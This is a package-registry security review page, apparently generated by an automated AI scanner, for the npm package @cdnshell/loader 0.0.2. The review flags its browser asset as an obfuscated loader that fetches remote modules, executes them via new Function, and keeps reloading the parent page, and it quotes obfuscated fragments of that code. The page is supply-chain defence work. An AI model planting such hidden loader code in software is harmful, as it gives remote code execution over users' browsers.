registry / @cdnshell/loader / 0.0.2

@cdnshell/loader@0.0.2

AI Security Review

scanned 2d ago · by lpm-firewall-ai

If its standalone JavaScript asset is loaded in a browser, it bootstraps a remote module loader. It fetches relative module URLs and executes returned source dynamically; no install-time attack surface is declared.

Static reason

No blocking static signals were detected.

Trigger

A browser loads a5yjlvj.js.

Impact

A hosting origin supplying the fetched modules can execute arbitrary browser JavaScript and trigger periodic page reloads.

Mechanism

obfuscated relative remote-module fetch and Function execution

Rationale

The package is not an install-time malware chain, but the shipped browser asset provides active, obfuscated remote code execution with disruptive reload behavior. This is a concrete unsafe capability that warrants a warning rather than a publication block.

Evidence

a5yjlvj.jspackage.json

Decision evidence

public snapshot

AI called this Suspicious at 89.0% confidence as Dangerous Capability with low false-positive risk.

Evidence for warning

Browser-loaded code fetches modules at runtime and executes their response text with Function.
The obfuscated loader auto-bootstraps when imported in a browser and repeatedly reloads its parent/top page.
The manifest has no declared entrypoint or lifecycle hook, so this is not install-time execution.

Evidence against

No npm lifecycle scripts, bin, main, or module entrypoint are declared.
No credential harvesting, filesystem access, shell execution, or fixed external endpoint appears in the package.

Behavioral surface

Source

EvalNetwork

Supply chain

HighEntropyStringsMinifiedTrivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 26.7 KB of source

Source & flagged code

4 flagged

a5yjlvj.jsView file

1const _0x02DE7A=await fetch(_0xECE08D9[_0x6CB2A96[0x9]](_0xECE08D9[_0x6CB2A96[0x8]]+_0xAE421E+".js")+"?"+(Math.random().toString(0x24).slice(0x2)||_0x6CB2A96[0x5]))

Medium

Ai Review Evidence

Browser-loaded code fetches modules at runtime and executes their response text with Function.

a5yjlvj.jsView on unpkg · L1

1const _0xA95F42=_0x3998F11=>{return new Function(_0x3998F11)()}

Medium

Ai Review Evidence

Browser-loaded code fetches modules at runtime and executes their response text with Function.

a5yjlvj.jsView on unpkg · L1

1if(typeof document!==_0x6CB2A96[0x1f]){_0x5876F0()[_0x6CB2A96[0x1e]](_0x0F7866=>{return console.warn("[entry]",_0x0F7866)})}if(typeof document!==_0x6CB2A96[0x1f]){setInterval(()=>{try{window.parent[_0x6CB2A96[0x20]][_0x6CB2A96[0x21]]()}catch(e){window.top[_0x6CB2A96[0x20]][_0x6CB2A96[0x21]]()}},0xea60)}})();

Medium

Ai Review Evidence

The obfuscated loader auto-bootstraps when imported in a browser and repeatedly reloads its parent/top page.

a5yjlvj.jsView on unpkg · L1

1const _0x6CB2A96=["_0x6C178F","_0x4CC973","_0x1AF103",0x1,"b3ih11e",0x0,null,"href","_0x65FC26","_0x1F71534","_0xFE492F4","_0x0779641","_0x790BAD","_0x8F5CDF6","getBuiltin","fetchM...

Low

Eval

Package source references a known benign dynamic code generation pattern.

a5yjlvj.jsView on unpkg · L1

Source & flagged code

4 flagged · loading source

a5yjlvj.jsView file

1const _0x02DE7A=await fetch(_0xECE08D9[_0x6CB2A96[0x9]](_0xECE08D9[_0x6CB2A96[0x8]]+_0xAE421E+".js")+"?"+(Math.random().toString(0x24).slice(0x2)||_0x6CB2A96[0x5]))

Medium

Ai Review Evidence

Browser-loaded code fetches modules at runtime and executes their response text with Function.

a5yjlvj.jsView on unpkg · L1

1const _0xA95F42=_0x3998F11=>{return new Function(_0x3998F11)()}

Medium

Ai Review Evidence

Browser-loaded code fetches modules at runtime and executes their response text with Function.

a5yjlvj.jsView on unpkg · L1

Medium

Ai Review Evidence

The obfuscated loader auto-bootstraps when imported in a browser and repeatedly reloads its parent/top page.

a5yjlvj.jsView on unpkg · L1

Findings

4 Medium2 Low

MediumNetwork

MediumAi Review Evidencea5yjlvj.js

LowEvala5yjlvj.js

LowHigh Entropy Strings